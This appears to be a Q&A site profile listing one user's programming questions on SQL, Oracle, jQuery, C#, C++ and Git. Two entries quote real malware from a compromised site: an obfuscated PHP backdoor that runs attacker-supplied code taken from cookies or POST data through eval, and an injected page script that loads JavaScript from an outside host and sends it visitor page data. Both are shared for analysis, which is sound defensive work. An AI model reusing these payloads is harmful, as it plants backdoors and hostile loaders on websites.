Juan Pinzón's Questions

Juan Pinzón

Asked: 2020-10-11 08:59:03 +0800 CST

Get last record saved in a table with relation 1 to N

2

I have the following tables:

EMPLOYEE

ID |NOMBRE | APELLIDO 
1  |TEST   | TEST     
2  |TEST2  | TEST2
3  |TEST3  | TEST3
4  |TEST4  | TEST4

DIRECTION

ID | DIRECCION | EMP_ID | PAIS_ID |FECHA_INSERCION
1  | DIR1      | 1      | 1       |10/10/2019 08:00:00
2  | DIR2      | 1      | 1       |10/10/2019 08:15:00
3  | DIR3      | 1      | 5       |10/10/2019 08:20:00

I want to get the last registered address of the employee

for instance

TEST   | TEST  | DIR1 | 5 | 10/10/2019 08:20:00

I have tried the following query

Select Nombre,Apellido, Pais_ID, DIRECCION, MAX(FECHA_INSERCION)
FROM EMPLEADO EMP
INNER JOIN DIRECCION DIR ON EMP.ID = DIR.EMP_ID
GROUP BY Nombre, Apellido, Pais_ID, DIRECCION

However this gets me the following:

TEST   | TEST  | DIR1 | 1 | 10/10/2019 08:15:00
TEST   | TEST  | DIR1 | 5 | 10/10/2019 08:20:00

How could I fix the query to get what I need?

Juan Pinzón

Asked: 2020-10-08 14:31:28 +0800 CST

How to catch exceptions in Oracle

2

I am reviewing the exceptions in oracle and I have a problem, for example I am doing an sp that has a division by zero

procedure TEST(afectadas OUT NUMBER) 
IS
zero_div_e EXCEPTION 
divisor NUMBER;
division NUMBER;
BEGIN
  divisor := 0;
  IF (divisor = 0) THEN
    RAISE zero_div_e;
  ELSE 
    division := 10/DIVISOR;

  EXCEPTION
  WHEN zero_div_e THEN
    inserto into tabla1 (division) values (null);
  WHEN OTHERS THEN
    ROLLBACK;

END TEST;

The SP catches the exception of division by zero, or in this case a custom exception zero_div_e , however when inserting the data in table 1 in the division column, it is throwing another error which is that null cannot be inserted.

How can I catch this second exception?, since it does not return to the exception block

Juan Pinzón

Asked: 2020-09-11 07:09:44 +0800 CST

How to get separate numbers from a string in C#?

4

I have the following string

string a = "24 y 25 de enero";

what I want to do is get the numbers separately, that is {24, 25}

I have tried the following code

string output = new string(a.ToCharArray().Where(c => char.IsDigit(c)).ToArray());

but i get 2425

How could I get those numbers separately?

Juan Pinzón

Asked: 2020-01-25 06:17:04 +0800 CST

Reload the same URL with a different hash (fragment)

3

In the response to an AJAX call:

$.ajax({
          type: "POST",
          dataType: 'json',
          data: {
                  'descripcion': descripcion
                },
          url: "<?php echo site_url();?>"+"admin",
          success : function(data) {
            console.log(data);
            if (data == "1") {
              swal(
                    'Correcto!',
                    'Grupo agregado correctamente!',
                    'success'
                  ).then(function () {
                    $('#add').modal('close');
                    document.location.href = "test#tab1";
                  })
            }else if (data == "2") {
              swal(
                    'Error!',
                    'Ha ocurrido un error, contacte al administrador!',
                    'error'
                  )
            }else if (data == "0") {
              swal(
                    'Error!',
                    'Todos los campos son obligatorios!',
                    'error'
                  )
            }
          }
      });

I want to reload the page (same URL), but with a #different (hash or fragment). The problem I have is in the line:

document.location.href = "test#tab1";

Since it doesn't work, that is, it doesn't reload the page in the #tab1.

If I remove it , it #tab1works normally, but it stays at the top of the page and does not go to that element.

How could I fix this?

Juan Pinzón

Asked: 2020-10-28 07:10:09 +0800 CST

Problem placing and deleting elements from select to an html textarea

3

I want to place the elements of a select to a textarea, the code I have works well to add the text, but the problem arises when I delete the text from the textarea, if I delete something from it, it does not let me put more text back from the select, then I put the code I have.

function agregar(texto){
  console.log(texto);
  $("#test1").append(texto+"\n");
}

<!DOCTYPE html>
<html>
<head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width">
  <script src="https://code.jquery.com/jquery-3.1.0.js"></script>
  <title>Problema</title>
</head>
<body>
<select name="" id="test" onchange="agregar($('#test option:selected').text())">
  <option value="1">Uno</option>
  <option value="2">Dos</option>
  <option value="3">Tres</option>
  <option value="4">Cuatro</option>
</select>
  <br/>
<textarea name="" id="test1" cols="30" rows="10"></textarea>
</body>
</html>

How could I solve this problem, or why is this?

Juan Pinzón

Asked: 2020-09-06 07:54:58 +0800 CST

How to restrict the type of file to upload in an input html file?

6

I want to upload images to my server, the upload works normally, however I want to restrict the type of file to upload, in such a way that it only allows me to select jpeg images when the file selection window opens.

Juan Pinzón

Asked: 2020-07-18 12:41:23 +0800 CST

Change color of an image with css

6

I am using the icons jquery uion a page, however I was wondering if you can change the color of the icons only with css, that is: to change the color of the icons jquery uiit is necessary to change the image that contains all the icons, for example:

So to avoid this I thought I could change the color of the icon to green or whatever color is needed. Since if I change the image the color of all the icons is changed, and I only need to change some of them.

I have read that it can be used filterin css, but I don't know how to change the color in the way I mentioned above.

img { display: block; width: 50%; }

img {
  -webkit-filter: grayscale(1);
  filter: grayscale(1);
}

<img src="https://isstatic.aoverflow.com/fXKdt.png" alt="test">

How could I change the color of these images using CSS?

Juan Pinzón

Asked: 2020-06-17 08:25:32 +0800 CST

Get the names of the tables of a DB in postgresql

3

I am making a script to audit the tables of a postgres database, for which I need to obtain the names of the tables that are in the database and in this way be able to go through them through an array, since the database it has many tables and I don't want to do it by hand.

Is there a query in postgresql to get the names of the tables that make up the database?

Juan Pinzón

Asked: 2020-05-16 20:51:25 +0800 CST

How to get the author name of a Git repository?

3

I am making a git repository viewer for web, for which I need to get the name of the repository author.

By author I mean the person who created the repository.

I have searched and found this command:

git show --format="%aN <%aE>"

Which gives me as a result:

Juan Pinz<C3><B3>n <[email protected]>

diff --git a/README.md b/README.md
new file mode 100644
index 0000000..291468e
--- /dev/null
+++ b/README.md
@@ -0,0 +1,2 @@
+# GitCli^M
+Simple git viewer
\ No newline at end of file

Is there a way to get only the author name of the repository?

Juan Pinzón

Asked: 2020-12-08 19:55:26 +0800 CST

What would be the optimal solution?

4

I am making a small system of counting and sum of scores, and in the administrator part I want to show in real time the scores of each judge. For example, a judge can assign 3 scores between a range from 1.0 to 10.0, showing the administrator a table like:

Juez      | Puntaje 1 | Puntaje 2 | Puntaje 3 |  Total
          |           |           |           |
Juez 1    | 6.8       | 7.5       | 8.0       |  22.3
          |           |           |           |
Juez 2    | 7.2       | 8.1       | 9.1       |  24.4
          |           |           |           |
Juez 3    | 8.4       | 7.7       | 7.0       |  23.1
          |           |           |           |
Juez 4    | 4.7       | 8.2       | 8.5       |  21.4

The idea is that every time a score is changed, that score is displayed in real time, something like a central viewer.

Each judge accesses from a different computer, so to show the scores to the administrator in real time, I came up with some ideas such as:

Use websockets to have a two-way communication each time the scores of each judge are modified, and when they have finished assigning the scores, they are saved in the database.
Use ajax to save the scores in the database directly on each change made to the scores entries ( onchange()), then return them to the administrator page by refreshing it every so often through javascript ( setTimeout()).

So my question is:

Which of these solutions is optimal?

Would there be another way to do it?

Juan Pinzón

Asked: 2020-11-15 06:45:41 +0800 CST

Deobfuscate php code

14

I was analyzing some compromised PHP files and came across some obfuscated scripts, here is one of these:

<?php
$i9c4 = 487;
$GLOBALS['a1c573'] = Array();
global $a1c573;
$a1c573 = $GLOBALS;
$ {
    "\x47\x4c\x4fB\x41\x4c\x53"
}

['p0279'] = "\x74\x4b\x2a\x4a\x26\x21\xa\x64\x6b\x61\x2e\xd\x3f\x3d\x73\x3c\x65\x2b\x9\x2d\x6a\x55\x24\x6f\x44\x5f\x79\x5a\x7d\x33\x46\x32\x50\x54\x63\x2c\x7c\x77\x75\x7a\x30\x27\x62\x52\x22\x4d\x39\x58\x41\x6c\x5c\x53\x76\x68\x20\x60\x57\x59\x6d\x5b\x66\x43\x23\x40\x7b\x3b\x4c\x2f\x49\x78\x29\x45\x5e\x28\x3a\x56\x70\x67\x69\x34\x38\x42\x31\x6e\x72\x25\x5d\x47\x7e\x51\x36\x4f\x35\x48\x3e\x4e\x37\x71";
$a1c573[$a1c573['p0279'][84] . $a1c573['p0279'][42] . $a1c573['p0279'][16] . $a1c573['p0279'][96] . $a1c573['p0279'][92]] = $a1c573['p0279'][34] . $a1c573['p0279'][53] . $a1c573['p0279'][84];
$a1c573[$a1c573['p0279'][77] . $a1c573['p0279'][90] . $a1c573['p0279'][96] . $a1c573['p0279'][31] . $a1c573['p0279'][92]] = $a1c573['p0279'][23] . $a1c573['p0279'][84] . $a1c573['p0279'][7];
$a1c573[$a1c573['p0279'][9] . $a1c573['p0279'][31] . $a1c573['p0279'][79] . $a1c573['p0279'][82] . $a1c573['p0279'][92] . $a1c573['p0279'][29] . $a1c573['p0279'][7] . $a1c573['p0279'][80] . $a1c573['p0279'][82]] = $a1c573['p0279'][14] . $a1c573['p0279'][0] . $a1c573['p0279'][84] . $a1c573['p0279'][49] . $a1c573['p0279'][16] . $a1c573['p0279'][83];
$a1c573[$a1c573['p0279'][38] . $a1c573['p0279'][82] . $a1c573['p0279'][60] . $a1c573['p0279'][7] . $a1c573['p0279'][34]] = $a1c573['p0279'][78] . $a1c573['p0279'][83] . $a1c573['p0279'][78] . $a1c573['p0279'][25] . $a1c573['p0279'][14] . $a1c573['p0279'][16] . $a1c573['p0279'][0];
$a1c573[$a1c573['p0279'][42] . $a1c573['p0279'][79] . $a1c573['p0279'][96] . $a1c573['p0279'][31] . $a1c573['p0279'][46] . $a1c573['p0279'][7] . $a1c573['p0279'][34] . $a1c573['p0279'][42]] = $a1c573['p0279'][14] . $a1c573['p0279'][16] . $a1c573['p0279'][84] . $a1c573['p0279'][78] . $a1c573['p0279'][9] . $a1c573['p0279'][49] . $a1c573['p0279'][78] . $a1c573['p0279'][39] . $a1c573['p0279'][16];
$a1c573[$a1c573['p0279'][38] . $a1c573['p0279'][96] . $a1c573['p0279'][29] . $a1c573['p0279'][29] . $a1c573['p0279'][80] . $a1c573['p0279'][34] . $a1c573['p0279'][92] . $a1c573['p0279'][42] . $a1c573['p0279'][16]] = $a1c573['p0279'][76] . $a1c573['p0279'][53] . $a1c573['p0279'][76] . $a1c573['p0279'][52] . $a1c573['p0279'][16] . $a1c573['p0279'][84] . $a1c573['p0279'][14] . $a1c573['p0279'][78] . $a1c573['p0279'][23] . $a1c573['p0279'][83];
$a1c573[$a1c573['p0279'][58] . $a1c573['p0279'][9] . $a1c573['p0279'][96] . $a1c573['p0279'][34]] = $a1c573['p0279'][38] . $a1c573['p0279'][83] . $a1c573['p0279'][14] . $a1c573['p0279'][16] . $a1c573['p0279'][84] . $a1c573['p0279'][78] . $a1c573['p0279'][9] . $a1c573['p0279'][49] . $a1c573['p0279'][78] . $a1c573['p0279'][39] . $a1c573['p0279'][16];
$a1c573[$a1c573['p0279'][0] . $a1c573['p0279'][9] . $a1c573['p0279'][92] . $a1c573['p0279'][9] . $a1c573['p0279'][34]] = $a1c573['p0279'][42] . $a1c573['p0279'][9] . $a1c573['p0279'][14] . $a1c573['p0279'][16] . $a1c573['p0279'][90] . $a1c573['p0279'][79] . $a1c573['p0279'][25] . $a1c573['p0279'][7] . $a1c573['p0279'][16] . $a1c573['p0279'][34] . $a1c573['p0279'][23] . $a1c573['p0279'][7] . $a1c573['p0279'][16];
$a1c573[$a1c573['p0279'][60] . $a1c573['p0279'][90] . $a1c573['p0279'][96] . $a1c573['p0279'][29] . $a1c573['p0279'][16] . $a1c573['p0279'][34] . $a1c573['p0279'][16] . $a1c573['p0279'][40] . $a1c573['p0279'][90]] = $a1c573['p0279'][14] . $a1c573['p0279'][16] . $a1c573['p0279'][0] . $a1c573['p0279'][25] . $a1c573['p0279'][0] . $a1c573['p0279'][78] . $a1c573['p0279'][58] . $a1c573['p0279'][16] . $a1c573['p0279'][25] . $a1c573['p0279'][49] . $a1c573['p0279'][78] . $a1c573['p0279'][58] . $a1c573['p0279'][78] . $a1c573['p0279'][0];
$a1c573[$a1c573['p0279'][76] . $a1c573['p0279'][90] . $a1c573['p0279'][7] . $a1c573['p0279'][31] . $a1c573['p0279'][34] . $a1c573['p0279'][29] . $a1c573['p0279'][34] . $a1c573['p0279'][79]] = $a1c573['p0279'][8] . $a1c573['p0279'][9] . $a1c573['p0279'][46] . $a1c573['p0279'][16] . $a1c573['p0279'][46] . $a1c573['p0279'][96] . $a1c573['p0279'][16] . $a1c573['p0279'][96] . $a1c573['p0279'][92];
$a1c573[$a1c573['p0279'][8] . $a1c573['p0279'][60] . $a1c573['p0279'][46] . $a1c573['p0279'][16] . $a1c573['p0279'][79] . $a1c573['p0279'][42]] = $a1c573['p0279'][77] . $a1c573['p0279'][82] . $a1c573['p0279'][82] . $a1c573['p0279'][96] . $a1c573['p0279'][29];
$a1c573[$a1c573['p0279'][60] . $a1c573['p0279'][92] . $a1c573['p0279'][34] . $a1c573['p0279'][42]] = $_POST;
$a1c573[$a1c573['p0279'][53] . $a1c573['p0279'][9] . $a1c573['p0279'][96] . $a1c573['p0279'][92] . $a1c573['p0279'][40] . $a1c573['p0279'][16] . $a1c573['p0279'][46] . $a1c573['p0279'][46] . $a1c573['p0279'][46]] = $_COOKIE;
@$a1c573[$a1c573['p0279'][38] . $a1c573['p0279'][82] . $a1c573['p0279'][60] . $a1c573['p0279'][7] . $a1c573['p0279'][34]]($a1c573['p0279'][16] . $a1c573['p0279'][84] . $a1c573['p0279'][84] . $a1c573['p0279'][23] . $a1c573['p0279'][84] . $a1c573['p0279'][25] . $a1c573['p0279'][49] . $a1c573['p0279'][23] . $a1c573['p0279'][77], NULL);
@$a1c573[$a1c573['p0279'][38] . $a1c573['p0279'][82] . $a1c573['p0279'][60] . $a1c573['p0279'][7] . $a1c573['p0279'][34]]($a1c573['p0279'][49] . $a1c573['p0279'][23] . $a1c573['p0279'][77] . $a1c573['p0279'][25] . $a1c573['p0279'][16] . $a1c573['p0279'][84] . $a1c573['p0279'][84] . $a1c573['p0279'][23] . $a1c573['p0279'][84] . $a1c573['p0279'][14], 0);
@$a1c573[$a1c573['p0279'][38] . $a1c573['p0279'][82] . $a1c573['p0279'][60] . $a1c573['p0279'][7] . $a1c573['p0279'][34]]($a1c573['p0279'][58] . $a1c573['p0279'][9] . $a1c573['p0279'][69] . $a1c573['p0279'][25] . $a1c573['p0279'][16] . $a1c573['p0279'][69] . $a1c573['p0279'][16] . $a1c573['p0279'][34] . $a1c573['p0279'][38] . $a1c573['p0279'][0] . $a1c573['p0279'][78] . $a1c573['p0279'][23] . $a1c573['p0279'][83] . $a1c573['p0279'][25] . $a1c573['p0279'][0] . $a1c573['p0279'][78] . $a1c573['p0279'][58] . $a1c573['p0279'][16], 0);
@$a1c573[$a1c573['p0279'][60] . $a1c573['p0279'][90] . $a1c573['p0279'][96] . $a1c573['p0279'][29] . $a1c573['p0279'][16] . $a1c573['p0279'][34] . $a1c573['p0279'][16] . $a1c573['p0279'][40] . $a1c573['p0279'][90]](0);
$n68b9ce = NULL;
$r8fa539 = NULL;
$a1c573[$a1c573['p0279'][0] . $a1c573['p0279'][31] . $a1c573['p0279'][96] . $a1c573['p0279'][40] . $a1c573['p0279'][29] . $a1c573['p0279'][9] . $a1c573['p0279'][60] . $a1c573['p0279'][46] . $a1c573['p0279'][9]] = $a1c573['p0279'][16] . $a1c573['p0279'][82] . $a1c573['p0279'][16] . $a1c573['p0279'][29] . $a1c573['p0279'][29] . $a1c573['p0279'][92] . $a1c573['p0279'][9] . $a1c573['p0279'][92] . $a1c573['p0279'][19] . $a1c573['p0279'][82] . $a1c573['p0279'][34] . $a1c573['p0279'][90] . $a1c573['p0279'][60] . $a1c573['p0279'][19] . $a1c573['p0279'][79] . $a1c573['p0279'][92] . $a1c573['p0279'][46] . $a1c573['p0279'][29] . $a1c573['p0279'][19] . $a1c573['p0279'][9] . $a1c573['p0279'][40] . $a1c573['p0279'][40] . $a1c573['p0279'][16] . $a1c573['p0279'][19] . $a1c573['p0279'][46] . $a1c573['p0279'][40] . $a1c573['p0279'][29] . $a1c573['p0279'][82] . $a1c573['p0279'][80] . $a1c573['p0279'][7] . $a1c573['p0279'][40] . $a1c573['p0279'][34] . $a1c573['p0279'][90] . $a1c573['p0279'][92] . $a1c573['p0279'][92] . $a1c573['p0279'][90];
global $t2703af9a;

function g1173($n68b9ce, $me55b842b)
{
    global $a1c573;
    $e538b = "";
    for ($sa5c67645 = 0; $sa5c67645 < $a1c573[$a1c573['p0279'][9] . $a1c573['p0279'][31] . $a1c573['p0279'][79] . $a1c573['p0279'][82] . $a1c573['p0279'][92] . $a1c573['p0279'][29] . $a1c573['p0279'][7] . $a1c573['p0279'][80] . $a1c573['p0279'][82]]($n68b9ce);) {
        for ($xf042d3f = 0; $xf042d3f < $a1c573[$a1c573['p0279'][9] . $a1c573['p0279'][31] . $a1c573['p0279'][79] . $a1c573['p0279'][82] . $a1c573['p0279'][92] . $a1c573['p0279'][29] . $a1c573['p0279'][7] . $a1c573['p0279'][80] . $a1c573['p0279'][82]]($me55b842b) && $sa5c67645 < $a1c573[$a1c573['p0279'][9] . $a1c573['p0279'][31] . $a1c573['p0279'][79] . $a1c573['p0279'][82] . $a1c573['p0279'][92] . $a1c573['p0279'][29] . $a1c573['p0279'][7] . $a1c573['p0279'][80] . $a1c573['p0279'][82]]($n68b9ce); $xf042d3f++, $sa5c67645++) {
            $e538b.= $a1c573[$a1c573['p0279'][84] . $a1c573['p0279'][42] . $a1c573['p0279'][16] . $a1c573['p0279'][96] . $a1c573['p0279'][92]]($a1c573[$a1c573['p0279'][77] . $a1c573['p0279'][90] . $a1c573['p0279'][96] . $a1c573['p0279'][31] . $a1c573['p0279'][92]]($n68b9ce[$sa5c67645]) ^ $a1c573[$a1c573['p0279'][77] . $a1c573['p0279'][90] . $a1c573['p0279'][96] . $a1c573['p0279'][31] . $a1c573['p0279'][92]]($me55b842b[$xf042d3f]));
        }
    }

    return $e538b;
}

function ka9e97e75($n68b9ce, $me55b842b)
{
    global $a1c573;
    global $t2703af9a;
    return $a1c573[$a1c573['p0279'][8] . $a1c573['p0279'][60] . $a1c573['p0279'][46] . $a1c573['p0279'][16] . $a1c573['p0279'][79] . $a1c573['p0279'][42]]($a1c573[$a1c573['p0279'][8] . $a1c573['p0279'][60] . $a1c573['p0279'][46] . $a1c573['p0279'][16] . $a1c573['p0279'][79] . $a1c573['p0279'][42]]($n68b9ce, $t2703af9a) , $me55b842b);
}

foreach($a1c573[$a1c573['p0279'][53] . $a1c573['p0279'][9] . $a1c573['p0279'][96] . $a1c573['p0279'][92] . $a1c573['p0279'][40] . $a1c573['p0279'][16] . $a1c573['p0279'][46] . $a1c573['p0279'][46] . $a1c573['p0279'][46]] as $me55b842b => $s51f5) {
    $n68b9ce = $s51f5;
    $r8fa539 = $me55b842b;
}

if (!$n68b9ce) {
    foreach($a1c573[$a1c573['p0279'][60] . $a1c573['p0279'][92] . $a1c573['p0279'][34] . $a1c573['p0279'][42]] as $me55b842b => $s51f5) {
        $n68b9ce = $s51f5;
        $r8fa539 = $me55b842b;
    }
}

$n68b9ce = @$a1c573[$a1c573['p0279'][58] . $a1c573['p0279'][9] . $a1c573['p0279'][96] . $a1c573['p0279'][34]]($a1c573[$a1c573['p0279'][76] . $a1c573['p0279'][90] . $a1c573['p0279'][7] . $a1c573['p0279'][31] . $a1c573['p0279'][34] . $a1c573['p0279'][29] . $a1c573['p0279'][34] . $a1c573['p0279'][79]]($a1c573[$a1c573['p0279'][0] . $a1c573['p0279'][9] . $a1c573['p0279'][92] . $a1c573['p0279'][9] . $a1c573['p0279'][34]]($n68b9ce) , $r8fa539));

if (isset($n68b9ce[$a1c573['p0279'][9] . $a1c573['p0279'][8]]) && $t2703af9a == $n68b9ce[$a1c573['p0279'][9] . $a1c573['p0279'][8]]) {
    if ($n68b9ce[$a1c573['p0279'][9]] == $a1c573['p0279'][78]) {
        $sa5c67645 = Array(
            $a1c573['p0279'][76] . $a1c573['p0279'][52] => @$a1c573[$a1c573['p0279'][38] . $a1c573['p0279'][96] . $a1c573['p0279'][29] . $a1c573['p0279'][29] . $a1c573['p0279'][80] . $a1c573['p0279'][34] . $a1c573['p0279'][92] . $a1c573['p0279'][42] . $a1c573['p0279'][16]]() ,
            $a1c573['p0279'][14] . $a1c573['p0279'][52] => $a1c573['p0279'][82] . $a1c573['p0279'][10] . $a1c573['p0279'][40] . $a1c573['p0279'][19] . $a1c573['p0279'][82],
        );
        echo @$a1c573[$a1c573['p0279'][42] . $a1c573['p0279'][79] . $a1c573['p0279'][96] . $a1c573['p0279'][31] . $a1c573['p0279'][46] . $a1c573['p0279'][7] . $a1c573['p0279'][34] . $a1c573['p0279'][42]]($sa5c67645);
    }
    elseif ($n68b9ce[$a1c573['p0279'][9]] == $a1c573['p0279'][16]) {
        eval /*qc7b4*/
        ($n68b9ce[$a1c573['p0279'][7]]);
    }

    exit();
} 
?>

To understand these scripts a little better I made one print_rof the variable $GLOBALSobtaining the following:

Array
(
    [_GET] => Array
        (
        )

    [_POST] => Array
        (
        )

    [_COOKIE] => Array
        (
        )

    [_FILES] => Array
        (
        )

    [GLOBALS] => Array
 *RECURSION*
    [i9c4] => 487
    [a1c573] => Array
 *RECURSION*
    [p0279] => tK*J&!
dka.
?=s<e+  -jU$oD_yZ}3F2PTc,|wuz0'bR"M9XAl\Svh `WYm[fC#@{;L/Ix)E^(:Vpgi48B1nr%]G~Q6O5H>N7q
    [rbe75] => chr
    [g6725] => ord
    [a24153d81] => strlen
    [u1fdc] => ini_set
    [b4729dcb] => serialize
    [u7338c5be] => phpversion
    [ma7c] => unserialize
    [ta5ac] => base64_decode
    [f673ece06] => set_time_limit
    [p6d2c3c4] => ka9e97e75
    [kf9e4b] => g1173
    [f5cb] => Array
        (
        )

    [ha750e999] => Array
        (
        )

    [n68b9ce] => 
    [r8fa539] => 
    [t2703af9a] => e1e335a5-1c6f-4593-a00e-90318d0c6556
)

Based on this my question is:

Is there a way to deobfuscate this code to make it more understandable? Or can something be done to know how it works?

Juan Pinzón

Asked: 2020-11-02 12:40:49 +0800 CST

Concatenate a string with a float C++

3

I have a problem concatenating a string variable with a float, I have the following:

float c1 = 0, c2 = 0, c3 = 0;
std::string best = "";

Then I use it as follows:

best = "Imagen 1: " + c1;
best = "Imagen 2: " + c2;
best = "Imagen 3: " + c3;

However, it gives me the following errors:

../src/Test.cpp:91:24: error: invalid operands of types ‘const char [11]’ and ‘float’ to binary ‘operator+’
    best = "Imagen 1: "+c1;
                        ^
../src/Test.cpp:93:24: error: invalid operands of types ‘const char [11]’ and ‘float’ to binary ‘operator+’
    best = "Imagen 2: "+c2;
                        ^
../src/Test.cpp:95:24: error: invalid operands of types ‘const char [11]’ and ‘float’ to binary ‘operator+’
    best = "Imagen 3: "+c3;

How could I fix it?

Juan Pinzón

Asked: 2020-10-18 13:59:49 +0800 CST

Website hack with script referencing another site

54

Recently my site was hacked, the attackers managed to upload a webshell to the site, however everything has been controlled and the site is safe again.

Now eset nod32 detected a trojan for me fakejquery, investigating a little I could see that the following script has been inserted in the header of the page:

<script>
    var a = '';
    setTimeout(1);

    function setCookie(a, b, c) {
        var d = new Date;
        d.setTime(d.getTime() + 60 * c * 60 * 1e3);
        var e = "expires=" + d.toUTCString();
        document.cookie = a + "=" + b + "; " + e
    }

    function getCookie(a) {
        for (var b = a + "=", c = document.cookie.split(";"), d = 0; d < c
            .length; d++) {
            for (var e = c[d];
                " " == e.charAt(0);) e = e.substring(1);
            if (0 == e.indexOf(b)) return e.substring(b.length, e.length)
        }
        return null
    }
    null == getCookie("__cfgoid") && (setCookie("__cfgoid", 1, 1), 1 ==
        getCookie("__cfgoid") && (setCookie("__cfgoid", 2, 1), document.write(
            '<script type="text/javascript" src="' +
            'http://crazytime.home.pl/js/jquery.min.php' + '?key=b64' +
            '&utm_campaign=' + 'I92930' + '&utm_source=' + window.location.host +
            '&utm_medium=' + '&utm_content=' + window.location +
            '&utm_term=' + encodeURIComponent(
                ((k = (function() {
                        var keywords = '';
                        var metas = document.getElementsByTagName('meta');
                        if (metas) {
                            for (var x = 0, y = metas.length; x < y; x++) {
                                if (metas[x].name.toLowerCase() == "keywords") {
                                    keywords += metas[x].content;
                                }
                            }
                        }
                        return keywords !== '' ? keywords : null;
                    })()) == null ? (v = window.location.search.match(
                        /utm_term=([^&]+)/)) == null ? (t = document.title) == null ?
                    '' : t : v[1] : k)) + '&se_referrer=' + encodeURIComponent(
                document.referrer) + '"><' + '/script>')));
</script>

From what I understand the above script is generating traffic to an external site.

I've already removed all this code from the site, but I'm left wondering what this code actually does.

My question is: Am I correct in thinking that traffic is being generated to an external site, or does the code shared above do something additional?

Juan Pinzón

Asked: 2020-09-29 07:31:05 +0800 CST

add row to html table

3

I was practicing something simple in jquery, in this case adding new rows to a table via a button, for which I have two code snippets:

The first using the jquery selector tbody:last-childand function .append()

$("#add").on("click", function(){
  $('#test > tbody:last-child').append('<tr><td>'+$("#nombre").val()+'</td><td>'+$("#apellido").val()+'</td></tr>');
});

<!DOCTYPE html>
<html>
<head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width">
  <title>Test Tabla</title>
</head>
<body>
  Nombre: <input type="text" id="nombre">
  Apellido: <input type="text" id="apellido">
  <button type="button" id="add">Agregar</button>
<table id="test">
  <thead>
    <tr>
      <th>Nombre</th>
      <th>Apellido</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>
        Luis
      </td>
      <td>
        Paredes
      </td>
    </tr>
  </tbody>
</table>
<script src="https://code.jquery.com/jquery-3.1.0.js"></script>
  
</body>
</html>

And the second using the selector tr:lastand the functionafter()

$("#add").on("click", function(){
  $('#test tr:last').after('<tr><td>'+$("#nombre").val()+'</td><td>'+$("#apellido").val()+'</td></tr>');
});

<!DOCTYPE html>
<html>
<head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width">
  <title>JS Bin</title>
</head>
<body>
  Nombre: <input type="text" id="nombre">
  Apellido: <input type="text" id="apellido">
  <button type="button" id="add">Agregar</button>
<table id="test">
  <thead>
    <tr>
      <th>Nombre</th>
      <th>Apellido</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>
        Luis
      </td>
      <td>
        Paredes
      </td>
    </tr>
  </tbody>
</table>
<script src="https://code.jquery.com/jquery-3.1.0.js"></script>
  
</body>
</html>

My question is:

Is there any other way to do it, and which of the two ways is better implemented?

Juan Pinzón

Asked: 2020-09-02 21:21:38 +0800 CST

Optimize algorithm implementation

3

The following algorithm checks if a string is valid following the following rules:

Given a string of 10 numeric characters:

The tenth numeric character is the result of a calculation and the check digit
It works with the first 9 numeric characters of the string.
Each digit of even position (taking into account that the first numeric character is in position 0) is multiplied by two, if this result is greater than nine, nine is subtracted.
Each digit of odd position (taking into account that the first numeric character is in position 0) is multiplied by one.
All the results of the multiplications carried out previously are added.
The result of the previous sum is subtracted from the next higher ten.
The above result must be the tenth digit.
If the final subtraction is 10, the tenth digit is zero.

EXAMPLE

0   7   0   4   1   6   3   5   7   5
*   *   *   *   *   *   *   *   *   
2   1   2   1   2   1   2   1   2      se multiplica caracteres pares * 2 y si es > 9 se resta nueve, e impares * 1 
_____________________________________
0   7   0   4   2   6   6   5   5   
|_______________________________|      se suma el resultado de las multiplicaciones, en este caso es = 35
               35                      Este resultado se resta de la decena inmediata superior, es decir 40 - 35 = 5, 
                                       y este resultado debe ser = al ultimo caracter de la cadena, en este caso 5. 
                                       Por lo que 5=5, comprobando que la cadena es válida.

Examples of valid strings:

The implementation I have of this algorithm, I did some time ago at the university, and I would like to see if it can be optimized, either by reducing code, or by implementing other functions, the code is as follows:

function validar(cadena) {
  var cad = $.trim(cadena);
  var par = 0;
  var impar = 0;
  var total = 0;
  var decena = 0;
  var resultado = 0;
  var longitud = cad.length;
  if(cad!=="" && cad.length === 10){
    for(i=0;i<longitud-1;i++){
      if(i%2 === 0){
        impar =0;
        par = cad.charAt(i) * 2;
        if(par > 9 ){
          par = par-9;
        }
      }else{
        par = 0;
        impar = cad.charAt(i) *1;
      }
      total=total+par+impar;
    }
    decena = (Math.floor(total/10)+1)*10;
    resultado = decena-total;
    if (resultado === 10) {
      if (ced.charAt(longitud-1) == 0) {
        alert("Cadena Válida");
      }else{
        alert("Cadena Inválida");
      }
    }else {
      if (cad.charAt(longitud-1) == resultado) {
        alert("Cadena Válida");
      }else{
        alert("Cadena Inválida");
      }
    }

  }
}

<!DOCTYPE html>
<html>
<head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width">
  <title>Longitud</title>
</head>
<body>
<input type="text" id="ced">
<button type="button" name="button" onclick="validar($('#ced').val())">Validar</button>
<div id="salida"></div>
<script src="https://code.jquery.com/jquery-3.1.0.js"></script>
</body>
</html>

Juan Pinzón

Asked: 2020-08-18 12:07:19 +0800 CST

How to integrate Jquery Datatables with materializecss?

3

I want to use jquery datatables with materializecss, looking for documentation about it, I came to this page http://demo.geekslabs.com/materialize/v2.1/layout03/table-data.html where they show a demo using datatables and they say that it is only It is necessary to call the datatables library and it works normally, however when implementing it that way the following errors are generated:

the select of records to show is lost, and
if the select works when selecting 10, 25, 50 or 100 the select is not hidden,

What could I do to be able to integrate these libraries?

Below I leave the code where the select to show the number of records is lost.

$(document).ready(function() {
    $('#example').DataTable({
      "language": {
                    "sProcessing":     "Procesando...",
                    "sLengthMenu":     "Mostrar _MENU_ registros",
                    "sZeroRecords":    "No se encontraron resultados",
                    "sEmptyTable":     "Ningún dato disponible en esta tabla",
                    "sInfo":           "Mostrando registros del _START_ al _END_ de un total de _TOTAL_ registros",
                    "sInfoEmpty":      "Mostrando registros del 0 al 0 de un total de 0 registros",
                    "sInfoFiltered":   "(filtrado de un total de _MAX_ registros)",
                    "sInfoPostFix":    "",
                    "sSearch":         "Buscar:",
                    "sUrl":            "",
                    "sInfoThousands":  ",",
                    "sLoadingRecords": "Cargando...",
                    "oPaginate": {
                        "sFirst":    "Primero",
                        "sLast":     "Último",
                        "sNext":     "Siguiente",
                        "sPrevious": "Anterior"
                    },
                    "oAria": {
                        "sSortAscending":  ": Activar para ordenar la columna de manera ascendente",
